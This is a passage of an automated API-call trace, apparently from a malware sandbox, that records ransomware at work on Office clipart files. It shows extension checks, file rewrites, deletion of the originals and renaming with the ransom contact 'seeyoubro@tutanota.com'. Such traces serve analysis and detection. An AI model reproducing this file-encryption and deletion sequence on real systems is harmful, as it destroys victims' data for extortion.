returned -1 [0218.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0218.940] lstrlenW (lpString=".1cd") returned 4 [0218.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0218.940] lstrlenW (lpString=".jpg") returned 4 [0218.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.940] GetLastError () returned 0x0 [0218.940] ReadFile (in: hFile=0x380, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x2174, lpOverlapped=0x0) returned 1 [0219.066] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x2180, lpOverlapped=0x0) returned 1 [0219.069] ReadFile (in: hFile=0x380, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0219.069] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0219.069] SetEndOfFile (hFile=0x384) returned 1 [0219.072] CloseHandle (hObject=0x384) returned 1 [0219.072] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0219.073] SetEndOfFile (hFile=0x380) returned 1 [0219.073] CloseHandle (hObject=0x380) returned 1 [0219.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0219.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0219.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0219.074] lstrlenW (lpString=".doc") returned 4 [0219.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.074] lstrlenW (lpString=".docx") returned 5 [0219.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.075] lstrlenW (lpString=".pdf") returned 4 [0219.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.075] lstrlenW (lpString=".xls") returned 4 [0219.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.075] lstrlenW (lpString=".xlsx") returned 5 [0219.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.075] lstrlenW (lpString=".ppt") returned 4 [0219.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0219.075] lstrlenW (lpString=".zip") returned 4 [0219.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.075] lstrlenW (lpString=".rar") returned 4 [0219.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.075] lstrlenW (lpString=".bz2") returned 4 [0219.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.075] lstrlenW (lpString=".7z") returned 3 [0219.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0219.075] lstrlenW (lpString=".dbf") returned 4 [0219.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0219.075] lstrlenW (lpString=".1cd") returned 4 [0219.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0219.103] lstrlenW (lpString=".jpg") returned 4 [0219.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.122] GetLastError () returned 0x0 [0219.122] ReadFile (in: hFile=0x380, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x228, lpOverlapped=0x0) returned 1 [0219.123] WriteFile (in: hFile=0x35c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x230, lpOverlapped=0x0) returned 1 [0219.124] ReadFile (in: hFile=0x380, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0219.124] WriteFile (in: hFile=0x35c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0219.124] SetEndOfFile (hFile=0x35c) returned 1 [0219.125] CloseHandle (hObject=0x35c) returned 1 [0219.126] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0219.126] SetEndOfFile (hFile=0x380) returned 1 [0219.127] CloseHandle (hObject=0x380) returned 1 [0219.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0219.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0219.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0219.130] lstrlenW (lpString=".doc") returned 4 [0219.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.130] lstrlenW (lpString=".docx") returned 5 [0219.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.130] lstrlenW (lpString=".pdf") returned 4 [0219.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.131] lstrlenW (lpString=".xls") returned 4 [0219.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.131] lstrlenW (lpString=".xlsx") returned 5 [0219.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.131] lstrlenW (lpString=".ppt") returned 4 [0219.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0219.131] lstrlenW (lpString=".zip") returned 4 [0219.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.131] lstrlenW (lpString=".rar") returned 4 [0219.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.131] lstrlenW (lpString=".bz2") returned 4 [0219.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.131] lstrlenW (lpString=".7z") returned 3 [0219.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0219.131] lstrlenW (lpString=".dbf") returned 4 [0219.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0219.131] lstrlenW (lpString=".1cd") returned 4 [0219.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0219.131] lstrlenW (lpString=".jpg") returned 4 [0219.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.137] GetLastError () returned 0x0 [0219.137] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x8fc, lpOverlapped=0x0) returned 1 [0219.261] WriteFile (in: hFile=0x35c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x900, lpOverlapped=0x0) returned 1 [0219.262] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0219.262] WriteFile (in: hFile=0x35c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0219.262] SetEndOfFile (hFile=0x35c) returned 1 [0219.271] CloseHandle (hObject=0x35c) returned 1 [0219.273] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0219.273] SetEndOfFile (hFile=0x2cc) returned 1 [0219.276] CloseHandle (hObject=0x2cc) returned 1 [0219.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0219.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0219.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0219.367] lstrlenW (lpString=".doc") returned 4 [0219.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.367] lstrlenW (lpString=".docx") returned 5 [0219.367] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.367] lstrlenW (lpString=".pdf") returned 4 [0219.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.367] lstrlenW (lpString=".xls") returned 4 [0219.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.367] lstrlenW (lpString=".xlsx") returned 5 [0219.367] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.367] lstrlenW (lpString=".ppt") returned 4 [0219.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0219.367] lstrlenW (lpString=".zip") returned 4 [0219.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.367] lstrlenW (lpString=".rar") returned 4 [0219.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.367] lstrlenW (lpString=".bz2") returned 4 [0219.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.367] lstrlenW (lpString=".7z") returned 3 [0219.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0219.367] lstrlenW (lpString=".dbf") returned 4 [0219.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0219.367] lstrlenW (lpString=".1cd") returned 4 [0219.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0219.367] lstrlenW (lpString=".jpg") returned 4 [0219.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.374] GetLastError () returned 0x0 [0219.374] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xa8c, lpOverlapped=0x0) returned 1 [0219.545] WriteFile (in: hFile=0x348, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xa90, lpOverlapped=0x0) returned 1 [0219.546] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0219.546] WriteFile (in: hFile=0x348, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0219.546] SetEndOfFile (hFile=0x348) returned 1 [0219.546] CloseHandle (hObject=0x348) returned 1 [0219.547] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0219.547] SetEndOfFile (hFile=0x374) returned 1 [0219.548] CloseHandle (hObject=0x374) returned 1 [0219.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0219.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0219.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0219.548] lstrlenW (lpString=".doc") returned 4 [0219.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.549] lstrlenW (lpString=".docx") returned 5 [0219.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.549] lstrlenW (lpString=".pdf") returned 4 [0219.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.549] lstrlenW (lpString=".xls") returned 4 [0219.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.549] lstrlenW (lpString=".xlsx") returned 5 [0219.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.549] lstrlenW (lpString=".ppt") returned 4 [0219.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0219.549] lstrlenW (lpString=".zip") returned 4 [0219.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.549] lstrlenW (lpString=".rar") returned 4 [0219.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.549] lstrlenW (lpString=".bz2") returned 4 [0219.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.549] lstrlenW (lpString=".7z") returned 3 [0219.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0219.549] lstrlenW (lpString=".dbf") returned 4 [0219.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0219.549] lstrlenW (lpString=".1cd") returned 4 [0219.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0219.549] lstrlenW (lpString=".jpg") returned 4 [0219.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.550] GetLastError () returned 0x0 [0219.550] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x1b1a, lpOverlapped=0x0) returned 1 [0219.570] WriteFile (in: hFile=0x348, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1b20, lpOverlapped=0x0) returned 1 [0219.571] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0219.571] WriteFile (in: hFile=0x348, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0219.571] SetEndOfFile (hFile=0x348) returned 1 [0219.571] CloseHandle (hObject=0x348) returned 1 [0219.571] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0219.572] SetEndOfFile (hFile=0x374) returned 1 [0219.572] CloseHandle (hObject=0x374) returned 1 [0219.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0219.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0219.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0219.573] lstrlenW (lpString=".doc") returned 4 [0219.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.573] lstrlenW (lpString=".docx") returned 5 [0219.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.573] lstrlenW (lpString=".pdf") returned 4 [0219.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.573] lstrlenW (lpString=".xls") returned 4 [0219.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.573] lstrlenW (lpString=".xlsx") returned 5 [0219.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.574] lstrlenW (lpString=".ppt") returned 4 [0219.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0219.574] lstrlenW (lpString=".zip") returned 4 [0219.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.574] lstrlenW (lpString=".rar") returned 4 [0219.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.574] lstrlenW (lpString=".bz2") returned 4 [0219.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.574] lstrlenW (lpString=".7z") returned 3 [0219.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0219.574] lstrlenW (lpString=".dbf") returned 4 [0219.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0219.574] lstrlenW (lpString=".1cd") returned 4 [0219.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0219.574] lstrlenW (lpString=".jpg") returned 4 [0219.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.575] GetLastError () returned 0x0 [0219.575] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x1a7c, lpOverlapped=0x0) returned 1 [0219.612] WriteFile (in: hFile=0x348, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1a80, lpOverlapped=0x0) returned 1 [0219.613] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0219.613] WriteFile (in: hFile=0x348, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0219.613] SetEndOfFile (hFile=0x348) returned 1 [0219.614] CloseHandle (hObject=0x348) returned 1 [0219.614] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0219.614] SetEndOfFile (hFile=0x374) returned 1 [0219.615] CloseHandle (hObject=0x374) returned 1 [0219.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0219.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0219.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0219.616] lstrlenW (lpString=".doc") returned 4 [0219.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.616] lstrlenW (lpString=".docx") returned 5 [0219.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.616] lstrlenW (lpString=".pdf") returned 4 [0219.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.616] lstrlenW (lpString=".xls") returned 4 [0219.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.616] lstrlenW (lpString=".xlsx") returned 5 [0219.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.616] lstrlenW (lpString=".ppt") returned 4 [0219.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0219.616] lstrlenW (lpString=".zip") returned 4 [0219.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.616] lstrlenW (lpString=".rar") returned 4 [0219.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.616] lstrlenW (lpString=".bz2") returned 4 [0219.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.616] lstrlenW (lpString=".7z") returned 3 [0219.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0219.616] lstrlenW (lpString=".dbf") returned 4 [0219.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0219.617] lstrlenW (lpString=".1cd") returned 4 [0219.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0219.617] lstrlenW (lpString=".jpg") returned 4 [0219.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.691] GetLastError () returned 0x0 [0219.691] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x439c, lpOverlapped=0x0) returned 1 [0219.730] WriteFile (in: hFile=0x348, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x43a0, lpOverlapped=0x0) returned 1 [0219.731] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0219.731] WriteFile (in: hFile=0x348, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0219.732] SetEndOfFile (hFile=0x348) returned 1 [0219.766] CloseHandle (hObject=0x348) returned 1 [0219.766] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 